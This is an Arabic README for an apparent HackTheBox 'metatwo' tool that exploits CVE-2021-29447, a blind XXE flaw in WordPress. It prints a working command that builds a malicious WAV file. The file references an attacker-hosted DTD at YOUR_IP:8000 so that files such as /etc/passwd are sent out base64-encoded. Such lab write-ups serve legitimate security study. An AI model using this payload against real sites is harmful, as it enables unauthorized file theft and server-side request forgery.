
أداة تحكم لقراءة الملفات الاعتباطية تعتمد على CVE-2021-29447
لقد صنعت هذه الوحدة للتحكم أثناء حل آلة metatwo في HackTheBox لاستغلال CVE-2021-29447، وهي ثغرة XXE في ووردبريس في مكتبة الوسائط تؤثر على الإصدارات 5.7، 5.6.2، 5.6.1، 5.6، 5.0.11، حيث يمكن لمستخدم موثوق لديه صلاحية رفع الملفات في مكتبة الوسائط رفع ملف wav ضار قد يؤدي إلى قراءة ملفات عن بُعد وتزوير الطلب من جانب الخادم (SSRF).
لاستغلال هذه الثغرات، يتطلب الأمر خطوات متعددة لإكمال هجوم ناجح. والنتيجة هي أن بيانات iXML الوصفية التي تم تحليلها لا تُعاد إلى المستخدم، لذا لاستغلالها نحتاج إلى حمولة XXE عمياء. يمكن تحقيق ذلك من خلال تضمين تعريف نوع مستند خارجي (DTD) يتحكم فيه المهاجم، ونحتاج إلى إنشاء ملف wav ضار لاستعادة الاتصال على خادم الاستماع الخاص بالمهاجم. بمجرد القيام بهذه الخطوات، ارفع ملف wav إلى الخادم وانتظر تلقي طلب HTTP يتضمن محتوى ملف الحمولة المشفر بـ base64 مثل /etc/passwd، ثم فك ترميز base64. تحتوي هذه الوحدة على جميع الحلول لهذه الخطوات المتعددة. كل ما عليك فعله هو كتابة اسم الملف في الوحدة $console >
مدونة مفصلة: https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
ملاحظة: هذه الوحدة مكونة بالكامل لآلة HTB metatwo. لأي استخدام خارجي، تحتاج إلى إجراء بعض التغييرات في النصوص البرمجية.
إنشاء ملف wav باسم payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
تشغيل main.py
python3 main.py listen_ip
